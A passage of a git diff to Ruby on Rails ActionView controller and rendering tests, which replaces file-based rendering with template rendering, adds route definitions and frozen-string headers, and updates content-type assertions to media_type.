         "renderer/string.erb" => "With String",
         "renderer/symbol.erb" => "With Symbol",
         "string/with_path.erb" => "With String With Path",
-        "some/file.erb" => "With File"
       )]
 
       def template
         render template: "template"
       end
 
-      def file
-        render file: "some/file"
-      end
-
       def inline
         render inline: "With <%= :Inline %>"
       end
@@ -62,11 +59,6 @@ def test_render_template
         assert_equal "With Template", @controller.response_body
       end
 
-      def test_render_file
-        assert_equal "With File", @controller.process(:file)
-        assert_equal "With File", @controller.response_body
-      end
-
       def test_render_inline
         assert_equal "With Inline", @controller.process(:inline)
         assert_equal "With Inline", @controller.response_body
diff --git a/actionview/test/actionpack/abstract/views/with_final_newline.erb b/actionview/test/actionpack/abstract/views/with_final_newline.erb
new file mode 100644
index 0000000000000..fe8b6dda71f37
--- /dev/null
+++ b/actionview/test/actionpack/abstract/views/with_final_newline.erb
@@ -0,0 +1 @@
+Hello from with_final_newline.erb
diff --git a/actionview/test/actionpack/controller/capture_test.rb b/actionview/test/actionpack/controller/capture_test.rb
index f0ae609845efc..a86316e3b73f8 100644
--- a/actionview/test/actionpack/controller/capture_test.rb
+++ b/actionview/test/actionpack/controller/capture_test.rb
@@ -1,10 +1,11 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/logger"
 
 class CaptureController < ActionController::Base
-  self.view_paths = [ File.dirname(__FILE__) + "/../../fixtures/actionpack" ]
+  self.view_paths = [ File.expand_path("../../fixtures/actionpack", __dir__) ]
 
-  def self.controller_name; "test"; end
   def self.controller_path; "test"; end
 
   def content_for
@@ -35,6 +36,15 @@ def proper_block_detection
 class CaptureTest < ActionController::TestCase
   tests CaptureController
 
+  with_routes do
+    get :content_for,                to: "test#content_for"
+    get :capturing,                  to: "test#capturing"
+    get :proper_block_detection,     to: "test#proper_block_detection"
+    get :non_erb_block_content_for,  to: "test#non_erb_block_content_for"
+    get :content_for_concatenated,   to: "test#content_for_concatenated"
+    get :content_for_with_parameter, to: "test#content_for_with_parameter"
+  end
+
   def setup
     super
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
diff --git a/actionview/test/actionpack/controller/layout_test.rb b/actionview/test/actionpack/controller/layout_test.rb
index b79835ff34701..886015ebdbfee 100644
--- a/actionview/test/actionpack/controller/layout_test.rb
+++ b/actionview/test/actionpack/controller/layout_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/core_ext/array/extract_options"
 
@@ -5,20 +7,24 @@
 # method has access to the view_paths array when looking for a layout to automatically assign.
 old_load_paths = ActionController::Base.view_paths
 
-ActionController::Base.view_paths = [ File.dirname(__FILE__) + "/../../fixtures/actionpack/layout_tests/" ]
+ActionController::Base.view_paths = [ File.expand_path("../../fixtures/actionpack/layout_tests", __dir__) ]
 
 class LayoutTest < ActionController::Base
   def self.controller_path; "views" end
-  def self._implied_layout_name; to_s.underscore.gsub(/_controller$/, "") ; end
+  def self._implied_layout_name; to_s.underscore.delete_suffix("_controller") ; end
   self.view_paths = ActionController::Base.view_paths.dup
 end
 
 module TemplateHandlerHelper
   def with_template_handler(*extensions, handler)
     ActionView::Template.register_template_handler(*extensions, handler)
+    ActionController::Base.view_paths.paths.each(&:clear_cache)
+    ActionView::LookupContext::DetailsKey.clear
     yield
   ensure
     ActionView::Template.unregister_template_handler(*extensions)
+    ActionController::Base.view_paths.paths.each(&:clear_cache)
+    ActionView::LookupContext::DetailsKey.clear
   end
 end
 
@@ -46,6 +52,10 @@ class MultipleExtensions < LayoutTest
 class LayoutAutoDiscoveryTest < ActionController::TestCase
   include TemplateHandlerHelper
 
+  with_routes do
+    get :hello, to: "views#hello"
+  end
+
   def setup
     super
     @request.host = "www.nextangle.com"
@@ -64,7 +74,7 @@ def test_controller_name_layout_name_match
   end
 
   def test_third_party_template_library_auto_discovers_layout
-    with_template_handler :mab, lambda { |template| template.source.inspect } do
+    with_template_handler :mab, lambda { |template, source| source.inspect } do
       @controller = ThirdPartyTemplateLibraryController.new
       get :hello
       assert_response :success
@@ -96,7 +106,7 @@ def render(*args)
 end
 
 class AbsolutePathLayoutController < LayoutTest
-  layout File.expand_path(File.expand_path(__FILE__) + "/../../../fixtures/actionpack/layout_tests/layouts/layout_test")
+  layout File.expand_path("../../fixtures/actionpack/layout_tests/layouts/layout_test", __dir__)
 end
 
 class HasOwnLayoutController < LayoutTest
@@ -117,7 +127,7 @@ class HasNilLayoutProc < LayoutTest
 
 class PrependsViewPathController < LayoutTest
   def hello
-    prepend_view_path File.dirname(__FILE__) + "/../../fixtures/actionpack/layout_tests/alt/"
+    prepend_view_path File.expand_path("../../fixtures/actionpack/layout_tests/alt", __dir__)
     render layout: "alt"
   end
 end
@@ -146,6 +156,11 @@ class LayoutSetInResponseTest < ActionController::TestCase
   include ActionView::Template::Handlers
   include TemplateHandlerHelper
 
+  with_routes do
+    get :hello, to: "views#hello"
+    get :hello, to: "views#goodbye"
+  end
+
   def test_layout_set_when_using_default_layout
     @controller = DefaultLayoutController.new
     get :hello
@@ -201,7 +216,7 @@ def test_layout_except_exception_when_excepted
   end
 
   def test_layout_set_when_using_render
-    with_template_handler :mab, lambda { |template| template.source.inspect } do
+    with_template_handler :mab, lambda { |template, source| source.inspect } do
       @controller = SetsLayoutInRenderController.new
       get :hello
       assert_includes @response.body, "layouts/third_party_template_library.mab"
@@ -222,8 +237,9 @@ def test_layout_is_picked_from_the_controller_instances_view_path
 
   def test_absolute_pathed_layout
     @controller = AbsolutePathLayoutController.new
-    get :hello
-    assert_equal "layout_test.erb hello.erb", @response.body.strip
+    assert_raises(ArgumentError) do
+      get :hello
+    end
   end
 end
 
@@ -232,6 +248,10 @@ class SetsNonExistentLayoutFile < LayoutTest
 end
 
 class LayoutExceptionRaisedTest < ActionController::TestCase
+  with_routes do
+    get :hello, to: "views#hello"
+  end
+
   def test_exception_raised_when_layout_file_not_found
     @controller = SetsNonExistentLayoutFile.new
     assert_raise(ActionView::MissingTemplate) { get :hello }
@@ -245,6 +265,10 @@ def hello
 end
 
 class LayoutStatusIsRenderedTest < ActionController::TestCase
+  with_routes do
+    get :hello, to: "views#hello"
+  end
+
   def test_layout_status_is_rendered
     @controller = LayoutStatusIsRendered.new
     get :hello
@@ -258,6 +282,10 @@ class LayoutSymlinkedTest < LayoutTest
   end
 
   class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
+    with_routes do
+      get :hello, to: "views#hello"
+    end
+
     def test_symlinked_layout_is_rendered
       @controller = LayoutSymlinkedTest.new
       get :hello
diff --git a/actionview/test/actionpack/controller/render_test.rb b/actionview/test/actionpack/controller/render_test.rb
index 51ec8899b1128..278a9a1b0b990 100644
--- a/actionview/test/actionpack/controller/render_test.rb
+++ b/actionview/test/actionpack/controller/render_test.rb
@@ -1,13 +1,11 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_model"
 require "controller/fake_models"
 
-class ApplicationController < ActionController::Base
-  self.view_paths = File.join(FIXTURE_LOAD_PATH, "actionpack")
-end
-
 module Quiz
-  #Models
+  # Models
   Question = Struct.new(:name, :id) do
     extend ActiveModel::Naming
     include ActiveModel::Conversion
@@ -18,7 +16,7 @@ def persisted?
   end
 
   # Controller
-  class QuestionsController < ApplicationController
+  class QuestionsController < ActionController::Base
     def new
       render partial: Quiz::Question.new("Namespaced Partial")
     end
@@ -26,7 +24,7 @@ def new
 end
 
 module Fun
-  class GamesController < ApplicationController
+  class GamesController < ActionController::Base
     def hello_world; end
 
     def nested_partial_with_form_builder
@@ -35,7 +33,13 @@ def nested_partial_with_form_builder
   end
 end
 
-class TestController < ApplicationController
+class ValidatingPost < Post
+  include ActiveModel::Validations
+
+  validates :title, presence: true
+end
+
+class TestController < ActionController::Base
   protect_from_forgery
 
   before_action :set_variable_for_layout
@@ -56,7 +60,7 @@ def hello_world
   end
 
   def hello_world_file
-    render file: File.expand_path("../../../fixtures/actionpack/hello", __FILE__), formats: [:html]
+    render file: File.expand_path("../../fixtures/actionpack/hello.html", __dir__)
   end
 
   # :ported:
@@ -122,42 +126,36 @@ def hello_world_with_layout_false
     render layout: false
   end
 
+  def render_instance_variables
+    render inline: "<%= instance_variables.sort %>"
+  end
+
   # :ported:
-  def render_file_with_instance_variables
+  def render_template_with_instance_variables
     @secret = "in the sauce"
-    path = File.join(File.dirname(__FILE__), "../../fixtures/test/render_file_with_ivar")
-    render file: path
+    render template: "test/render_template_with_ivar"
   end
 
   # :ported:
   def render_file_not_using_full_path
-    @secret = "in the sauce"
-    render file: "test/render_file_with_ivar"
+    render file: "test/render_template_with_ivar"
   end
 
-  def render_file_not_using_full_path_with_dot_in_path
+  def render_template_with_dot_in_path
     @secret = "in the sauce"
-    render file: "test/dot.directory/render_file_with_ivar"
+    render template: "test/dot.directory/render_template_with_ivar"
   end
 
   def render_file_using_pathname
-    @secret = "in the sauce"
-    render file: Pathname.new(File.dirname(__FILE__)).join("..", "..", "fixtures", "test", "dot.directory", "render_file_with_ivar")
+    render file: Pathname.new(__dir__).join("..", "..", "fixtures", "test", "dot.directory", "render_template_with_ivar.erb")
   end
 
   def render_file_from_template
-    @secret = "in the sauce"
-    @path = File.expand_path(File.join(File.dirname(__FILE__), "../../fixtures/test/render_file_with_ivar"))
-  end
-
-  def render_file_with_locals
-    path = File.join(File.dirname(__FILE__), "../../fixtures/test/render_file_with_locals")
-    render file: path, locals: { secret: "in the sauce" }
+    @path = File.expand_path("../../fixtures/test/render_template_with_ivar.erb", __dir__)
   end
 
-  def render_file_as_string_with_locals
-    path = File.expand_path(File.join(File.dirname(__FILE__), "../../fixtures/test/render_file_with_locals"))
-    render file: path, locals: { secret: "in the sauce" }
+  def render_template_with_locals
+    render template: "test/render_template_with_locals", locals: { secret: "in the sauce" }
   end
 
   def accessing_request_in_template
@@ -176,6 +174,10 @@ def accessing_controller_name_in_template
     render inline: "<%= controller_name %>"
   end
 
+  def inline_rendered_format_without_format
+    render inline: "test"
+  end
+
   # :ported:
   def render_custom_code
     render plain: "hello world", status: 404
@@ -215,7 +217,7 @@ def render_xml_hello_as_string_template
   end
 
   def render_line_offset
-    render inline: "<% raise %>", locals: { foo: "bar" }
+    render template: "test/raise"
   end
 
   def heading
@@ -334,7 +336,7 @@ def render_to_string_with_assigns
   end
 
   def render_to_string_with_exception
-    render_to_string file: "exception that will not be caught - this will certainly not work"
+    render_to_string template: "exception that will not be caught - this will certainly not work"
   end
 
   def render_to_string_with_caught_exception
@@ -370,7 +372,7 @@ def render_with_explicit_string_template
 
   # :ported:
   def render_with_explicit_template_with_locals
-    render template: "test/render_file_with_locals", locals: { secret: "area51" }
+    render template: "test/render_template_with_locals", locals: { secret: "area51" }
   end
 
   # :ported:
@@ -487,10 +489,22 @@ def partial_with_locals
     render partial: "customer", locals: { customer: Customer.new("david") }
   end
 
+  def partial_with_hashlike_locals
+    render partial: "customer", locals: ActionController::Parameters.new(customer: Customer.new("david"))
+  end
+
   def partial_with_form_builder
     render partial: ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
   end
 
+  def partial_with_form_builder_and_invalid_model
+    post = ValidatingPost.new
+
+    post.validate
+
+    render partial: ActionView::Helpers::FormBuilder.new(:post, post, view_context, {})
+  end
+
   def partial_with_form_builder_subclass
     render partial: LabellingFormBuilder.new(:post, nil, view_context, {})
   end
@@ -601,7 +615,6 @@ def render_with_filters
   end
 
   private
-
     def set_variable_for_layout
       @variable_for_layout = nil
     end
@@ -630,6 +643,126 @@ def determine_layout
 class RenderTest < ActionController::TestCase
   tests TestController
 
+  with_routes do
+    get :"hyphen-ated", to: "test#hyphen-ated"
+    get :accessing_action_name_in_template, to: "test#accessing_action_name_in_template"
+    get :accessing_controller_name_in_template, to: "test#accessing_controller_name_in_template"
+    get :accessing_local_assigns_in_inline_template, to: "test#accessing_local_assigns_in_inline_template"
+    get :accessing_logger_in_template, to: "test#accessing_logger_in_template"
+    get :accessing_params_in_template, to: "test#accessing_params_in_template"
+    get :accessing_params_in_template_with_layout, to: "test#accessing_params_in_template_with_layout"
+    get :accessing_request_in_template, to: "test#accessing_request_in_template"
+    get :action_talk_to_layout, to: "test#action_talk_to_layout"
+    get :builder_layout_test, to: "test#builder_layout_test"
+    get :builder_partial_test, to: "test#builder_partial_test"
+    get :clone, to: "test#clone"
+    get :determine_layout, to: "test#determine_layout"
+    get :double_redirect, to: "test#double_redirect"
+    get :double_render, to: "test#double_render"
+    get :empty_partial_collection, to: "test#empty_partial_collection"
+    get :formatted_html_erb, to: "test#formatted_html_erb"
+    get :formatted_xml_erb, to: "test#formatted_xml_erb"
+    get :greeting, to: "test#greeting"
+    get :hello_in_a_string, to: "test#hello_in_a_string"
+    get :hello_world, to: "fun/games#hello_world"
+    get :hello_world, to: "test#hello_world"
+    get :hello_world_file, to: "test#hello_world_file"
+    get :hello_world_from_rxml_using_action, to: "test#hello_world_from_rxml_using_action"
+    get :hello_world_from_rxml_using_template, to: "test#hello_world_from_rxml_using_template"
+    get :hello_world_with_layout_false, to: "test#hello_world_with_layout_false"
+    get :inline_rendered_format_without_format, to: "test#inline_rendered_format_without_format"
+    get :layout_overriding_layout, to: "test#layout_overriding_layout"
+    get :layout_test, to: "test#layout_test"
+    get :layout_test_with_different_layout, to: "test#layout_test_with_different_layout"
+    get :layout_test_with_different_layout_and_string_action, to: "test#layout_test_with_different_layout_and_string_action"
+    get :layout_test_with_different_layout_and_symbol_action, to: "test#layout_test_with_different_layout_and_symbol_action"
+    get :missing_partial, to: "test#missing_partial"
+    get :nested_partial_with_form_builder, to: "fun/games#nested_partial_with_form_builder"
+    get :new, to: "quiz/questions#new"
+    get :partial, to: "test#partial"
+    get :partial_collection, to: "test#partial_collection"
+    get :partial_collection_shorthand_with_different_types_of_records, to: "test#partial_collection_shorthand_with_different_types_of_records"
+    get :partial_collection_shorthand_with_locals, to: "test#partial_collection_shorthand_with_locals"
+    get :partial_collection_with_as, to: "test#partial_collection_with_as"
+    get :partial_collection_with_as_and_counter, to: "test#partial_collection_with_as_and_counter"
+    get :partial_collection_with_as_and_iteration, to: "test#partial_collection_with_as_and_iteration"
+    get :partial_collection_with_counter, to: "test#partial_collection_with_counter"
+    get :partial_collection_with_iteration, to: "test#partial_collection_with_iteration"
+    get :partial_collection_with_locals, to: "test#partial_collection_with_locals"
+    get :partial_collection_with_spacer, to: "test#partial_collection_with_spacer"
+    get :partial_collection_with_spacer_which_uses_render, to: "test#partial_collection_with_spacer_which_uses_render"
+    get :partial_formats_html, to: "test#partial_formats_html"
+    get :partial_hash_collection, to: "test#partial_hash_collection"
+    get :partial_hash_collection_with_locals, to: "test#partial_hash_collection_with_locals"
+    get :partial_html_erb, to: "test#partial_html_erb"
+    get :partial_only, to: "test#partial_only"
+    get :partial_with_counter, to: "test#partial_with_counter"
+    get :partial_with_form_builder, to: "test#partial_with_form_builder"
+    get :partial_with_form_builder_and_invalid_model, to: "test#partial_with_form_builder_and_invalid_model"
+    get :partial_with_form_builder_subclass, to: "test#partial_with_form_builder_subclass"
+    get :partial_with_hash_object, to: "test#partial_with_hash_object"
+    get :partial_with_locals, to: "test#partial_with_locals"
+    get :partial_with_nested_object, to: "test#partial_with_nested_object"
+    get :partial_with_nested_object_shorthand, to: "test#partial_with_nested_object_shorthand"
+    get :partial_with_hashlike_locals, to: "test#partial_with_hashlike_locals"
+    get :partials_list, to: "test#partials_list"
+    get :render_action_hello_world, to: "test#render_action_hello_world"
+    get :render_action_hello_world_as_string, to: "test#render_action_hello_world_as_string"
+    get :render_action_hello_world_with_symbol, to: "test#render_action_hello_world_with_symbol"
+    get :render_action_upcased_hello_world, to: "test#render_action_upcased_hello_world"
+    get :render_and_redirect, to: "test#render_and_redirect"
+    get :render_call_to_partial_with_layout, to: "test#render_call_to_partial_with_layout"
+    get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout, to: "test#render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout"
+    get :render_custom_code, to: "test#render_custom_code"
+    get :render_file_from_template, to: "test#render_file_from_template"
+    get :render_file_not_using_full_path, to: "test#render_file_not_using_full_path"
+    get :render_template_with_dot_in_path, to: "test#render_template_with_dot_in_path"
+    get :render_file_using_pathname, to: "test#render_file_using_pathname"
+    get :render_template_with_instance_variables, to: "test#render_template_with_instance_variables"
+    get :render_template_with_locals, to: "test#render_template_with_locals"
+    get :render_hello_world, to: "test#render_hello_world"
+    get :render_hello_world_from_variable, to: "test#render_hello_world_from_variable"
+    get :render_hello_world_with_forward_slash, to: "test#render_hello_world_with_forward_slash"
+    get :render_implicit_html_template_from_xhr_request, to: "test#render_implicit_html_template_from_xhr_request"
+    get :render_implicit_js_template_without_layout, to: "test#render_implicit_js_template_without_layout"
+    get :render_instance_variables, to: "test#render_instance_variables"
+    get :render_line_offset, to: "test#render_line_offset"
+    get :render_nothing_with_appendix, to: "test#render_nothing_with_appendix"
+    get :render_template_in_top_directory, to: "test#render_template_in_top_directory"
+    get :render_template_in_top_directory_with_slash, to: "test#render_template_in_top_directory_with_slash"
+    get :render_template_within_a_template_with_other_format, to: "test#render_template_within_a_template_with_other_format"
+    get :render_text_hello_world, to: "test#render_text_hello_world"
+    get :render_text_hello_world_with_layout, to: "test#render_text_hello_world_with_layout"
+    get :render_text_with_assigns, to: "test#render_text_with_assigns"
+    get :render_text_with_false, to: "test#render_text_with_false"
+    get :render_text_with_nil, to: "test#render_text_with_nil"
+    get :render_text_with_resource, to: "test#render_text_with_resource"
+    get :render_to_string_and_render, to: "test#render_to_string_and_render"
+    get :render_to_string_and_render_with_different_formats, to: "test#render_to_string_and_render_with_different_formats"
+    get :render_to_string_test, to: "test#render_to_string_test"
+    get :render_to_string_with_assigns, to: "test#render_to_string_with_assigns"
+    get :render_to_string_with_caught_exception, to: "test#render_to_string_with_caught_exception"
+    get :render_to_string_with_exception, to: "test#render_to_string_with_exception"
+    get :render_to_string_with_inline_and_render, to: "test#render_to_string_with_inline_and_render"
+    get :render_to_string_with_partial, to: "test#render_to_string_with_partial"
+    get :render_to_string_with_template_and_html_partial, to: "test#render_to_string_with_template_and_html_partial"
+    get :render_using_layout_around_block, to: "test#render_using_layout_around_block"
+    get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout, to: "test#render_using_layout_around_block_in_main_layout_and_within_content_for_layout"
+    get :render_with_assigns_option, to: "test#render_with_assigns_option"
+    get :render_with_explicit_escaped_template, to: "test#render_with_explicit_escaped_template"
+    get :render_with_explicit_string_template, to: "test#render_with_explicit_string_template"
+    get :render_with_explicit_template, to: "test#render_with_explicit_template"
+    get :render_with_explicit_template_with_locals, to: "test#render_with_explicit_template_with_locals"
+    get :render_with_explicit_unescaped_template, to: "test#render_with_explicit_unescaped_template"
+    get :render_with_filters, to: "test#render_with_filters"
+    get :render_xml_hello, to: "test#render_xml_hello"
+    get :render_xml_hello_as_string_template, to: "test#render_xml_hello_as_string_template"
+    get :rendering_nothing_on_layout, to: "test#rendering_nothing_on_layout"
+    get :rendering_with_conflicting_local_vars, to: "test#rendering_with_conflicting_local_vars"
+    get :rendering_without_layout, to: "test#rendering_without_layout"
+    get :yield_content_for, to: "test#yield_content_for"
+  end
+
   def setup
     # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
     # a more accurate simulation of what happens in "real life".
@@ -638,10 +771,15 @@ def setup
     ActionView::Base.logger = ActiveSupport::Logger.new(nil)
 
     @request.host = "www.nextangle.com"
+
+    @old_view_paths = ActionController::Base.view_paths
+    ActionController::Base.view_paths = File.join(FIXTURE_LOAD_PATH, "actionpack")
   end
 
   def teardown
     ActionView::Base.logger = nil
+
+    ActionController::Base.view_paths = @old_view_paths
   end
 
   # :ported:
@@ -652,6 +790,29 @@ def test_simple_show
     assert_equal "<html>Hello world!</html>", @response.body
   end
 
+  def test_controller_does_not_leak_instance_variables
+    expected = [
+      :@_assigns, # attr_internal on ActionView::Base
+      :@_config, # attr_internal on ActionView::Base
+      :@_controller, # attr_internal on ActionView::Helpers::ControllerHelper
+      :@_default_form_builder, # attr_internal on ActionView::Helpers::FormHelper
+      :@_ivars, # ActionController::Testing::Functional (only appears inside an ActionController::TestCase)
+      :@_request, # attr_internal on ActionView::Helpers::ControllerHelper
+      :@current_template, # instance variable on ActionView::Base
+      :@lookup_context, # attr_reader on ActionView::Base
+      :@output_buffer, # attr_accessor on ActionView::Base::Context
+      :@variable_for_layout, # part of this test class
+      :@view_flow, # attr_accessor on ActionView::Base::Context
+      :@view_renderer, # attr_reader on ActionView::Base
+      :@virtual_path, # instance variable on ActionView::Base
+    ].inspect
+
+    get :render_instance_variables
+
+    assert_response 200
+    assert_equal expected, @response.body
+  end
+
   # :ported:
   def test_renders_default_template_for_missing_action
     get :'hyphen-ated'
@@ -741,8 +902,8 @@ def test_do_with_render_action_and_layout_false
   end
 
   # :ported:
-  def test_render_file_with_instance_variables
-    get :render_file_with_instance_variables
+  def test_render_template_with_instance_variables
+    get :render_template_with_instance_variables
     assert_equal "The secret is in the sauce\n", @response.body
   end
 
@@ -753,38 +914,33 @@ def test_render_file
 
   # :ported:
   def test_render_file_not_using_full_path
-    get :render_file_not_using_full_path
-    assert_equal "The secret is in the sauce\n", @response.body
+    assert_raise(ArgumentError) do
+      get :render_file_not_using_full_path
+    end
   end
 
   # :ported:
-  def test_render_file_not_using_full_path_with_dot_in_path
-    get :render_file_not_using_full_path_with_dot_in_path
+  def test_render_template_with_dot_in_path
+    get :render_template_with_dot_in_path
     assert_equal "The secret is in the sauce\n", @response.body
   end
 
   # :ported:
   def test_render_file_using_pathname
     get :render_file_using_pathname
-    assert_equal "The secret is in the sauce\n", @response.body
+    assert_equal "The secret is <%= @secret %>\n", @response.body
   end
 
   # :ported:
-  def test_render_file_with_locals
-    get :render_file_with_locals
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  # :ported:
-  def test_render_file_as_string_with_locals
-    get :render_file_as_string_with_locals
+  def test_render_template_with_locals
+    get :render_template_with_locals
     assert_equal "The secret is in the sauce\n", @response.body
   end
 
   # :assessed:
   def test_render_file_from_template
     get :render_file_from_template
-    assert_equal "The secret is in the sauce\n", @response.body
+    assert_equal "The secret is &lt;%= @secret %&gt;\n", @response.body
   end
 
   # :ported:
@@ -857,14 +1013,14 @@ def test_access_to_controller_name_in_view
   def test_render_xml
     get :render_xml_hello
     assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
-    assert_equal "application/xml", @response.content_type
+    assert_equal "application/xml", @response.media_type
   end
 
   # :ported:
   def test_render_xml_as_string_template
     get :render_xml_hello_as_string_template
     assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
-    assert_equal "application/xml", @response.content_type
+    assert_equal "application/xml", @response.media_type
   end
 
   # :ported:
@@ -890,6 +1046,12 @@ def test_render_xml_with_layouts
     assert_equal "<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
   end
 
+  def test_rendered_format_without_format
+    get :inline_rendered_format_without_format
+    assert_equal "test", @response.body
+    assert_equal "text/html", @response.media_type
+  end
+
   def test_partials_list
     get :partials_list
     assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
@@ -925,7 +1087,7 @@ def test_accessing_params_in_template
   def test_accessing_local_assigns_in_inline_template
     get :accessing_local_assigns_in_inline_template, params: { local_name: "Local David" }
     assert_equal "Goodbye, Local David", @response.body
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
   end
 
   def test_should_implicitly_render_html_template_from_xhr_request
@@ -940,24 +1102,24 @@ def test_should_implicitly_render_js_template_without_layout
 
   def test_should_render_formatted_template
     get :formatted_html_erb
-    assert_equal "formatted html erb", @response.body
+    assert_equal "formatted HTML erb", @response.body
   end
 
   def test_should_render_formatted_html_erb_template
     get :formatted_xml_erb
-    assert_equal "<test>passed formatted html erb</test>", @response.body
+    assert_equal "<test>passed formatted HTML erb</test>", @response.body
   end
 
   def test_should_render_formatted_html_erb_template_with_bad_accepts_header
-    @request.env["HTTP_ACCEPT"] = "; a=dsf"
+    @request.env["HTTP_ACCEPT"] = "; q=dsf"
     get :formatted_xml_erb
-    assert_equal "<test>passed formatted html erb</test>", @response.body
+    assert_equal "<test>passed formatted HTML erb</test>", @response.body
   end
 
   def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
     @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*"
     get :formatted_xml_erb
-    assert_equal "<test>passed formatted html erb</test>", @response.body
+    assert_equal "<test>passed formatted HTML erb</test>", @response.body
   end
 
   def test_layout_test_with_different_layout
@@ -997,11 +1159,15 @@ def test_render_to_string_doesnt_break_assigns
   end
 
   def test_bad_render_to_string_still_throws_exception
-    assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
+    assert_raise(ActionView::MissingTemplate) do
+      get :render_to_string_with_exception
+    end
   end
 
   def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
-    assert_nothing_raised { get :render_to_string_with_caught_exception }
+    assert_nothing_raised do
+      get :render_to_string_with_caught_exception
+    end
     assert_equal "i'm before the render", @controller.instance_variable_get(:@before)
     assert_equal "i'm after the render", @controller.instance_variable_get(:@after)
   end
@@ -1104,13 +1270,13 @@ def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
   def test_partial_only
     get :partial_only
     assert_equal "only partial", @response.body
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
   end
 
   def test_should_render_html_formatted_partial
     get :partial
     assert_equal "partial html", @response.body
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
   end
 
   def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
@@ -1119,42 +1285,42 @@ def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
     get :partial_html_erb
 
     assert_equal "partial.html.erb", @response.body.strip
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
   end
 
   def test_should_render_html_partial_with_formats
     get :partial_formats_html
     assert_equal "partial html", @response.body
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
   end
 
   def test_render_to_string_partial
     get :render_to_string_with_partial
     assert_equal "only partial", @controller.instance_variable_get(:@partial_only)
     assert_equal "Hello: david", @controller.instance_variable_get(:@partial_with_locals)
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
   end
 
   def test_render_to_string_with_template_and_html_partial
     get :render_to_string_with_template_and_html_partial
     assert_equal "**only partial**\n", @controller.instance_variable_get(:@text)
     assert_equal "<strong>only partial</strong>\n", @controller.instance_variable_get(:@html)
-    assert_equal "<strong>only html partial</strong>\n", @response.body
-    assert_equal "text/html", @response.content_type
+    assert_equal "<strong>only HTML partial</strong>\n", @response.body
+    assert_equal "text/html", @response.media_type
   end
 
   def test_render_to_string_and_render_with_different_formats
     get :render_to_string_and_render_with_different_formats
     assert_equal "<strong>only partial</strong>\n", @controller.instance_variable_get(:@html)
     assert_equal "**only partial**\n", @response.body
-    assert_equal "text/plain", @response.content_type
+    assert_equal "text/plain", @response.media_type
   end
 
   def test_render_template_within_a_template_with_other_format
     get :render_template_within_a_template_with_other_format
-    expected = "only html partial<p>This is grand!</p>"
+    expected = "only HTML partial<p>This is grand!</p>"
     assert_equal expected, @response.body.strip
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
   end
 
   def test_partial_with_counter
@@ -1167,11 +1333,54 @@ def test_partial_with_locals
     assert_equal "Hello: david", @response.body
   end
 
+  def test_partial_with_hashlike_locals
+    get :partial_with_hashlike_locals
+    assert_equal "Hello: david", @response.body
+  end
+
   def test_partial_with_form_builder
     get :partial_with_form_builder
     assert_equal "<label for=\"post_title\">Title</label>\n", @response.body
   end
 
+  def test_partial_with_form_builder_and_invalid_model
+    get :partial_with_form_builder_and_invalid_model
+
+    assert_equal <<~HTML.strip, @response.body.strip
+      <div class="field_with_errors"><label for="post_title">Title</label></div>
+    HTML
+  end
+
+  def test_partial_with_form_builder_and_invalid_model_custom_field_error_proc
+    old_proc = ActionView::Base.field_error_proc
+    ActionView::Base.field_error_proc = proc { |html| tag.div html, class: "errors" }
+
+    get :partial_with_form_builder_and_invalid_model
+
+    assert_equal <<~HTML.strip, @response.body.strip
+      <div class="errors"><label for="post_title">Title</label></div>
+    HTML
+  ensure
+    ActionView::Base.field_error_proc = old_proc if old_proc
+  end
+
+  def test_partial_with_form_builder_and_invalid_model_custom_rendering_field_error_proc
+    old_proc = ActionView::Base.field_error_proc
+    ActionView::Base.field_error_proc = proc do |html_tag, instance|
+      render inline: <<~ERB, locals: { html_tag: html_tag, instance: instance }
+        <div class="field_with_errors"><%= html_tag %> <span class="error"><%= [instance.error_message].join(', ') %></span></div>
+      ERB
+    end
+
+    get :partial_with_form_builder_and_invalid_model
+
+    assert_equal <<~HTML.strip, @response.body.strip
+      <div class="field_with_errors"><label for="post_title">Title</label> <span class="error">can&#39;t be blank</span></div>
+    HTML
+  ensure
+    ActionView::Base.field_error_proc = old_proc if old_proc
+  end
+
   def test_partial_with_form_builder_subclass
     get :partial_with_form_builder_subclass
     assert_equal "<label for=\"post_title\">Title</label>\n", @response.body
@@ -1289,4 +1498,49 @@ def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_fo
     get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
     assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
   end
+
+  def with_annotations_enabled
+    ActionView::Base.annotate_rendered_view_with_filenames = true
+    ActionView::LookupContext::DetailsKey.clear
+    yield
+  ensure
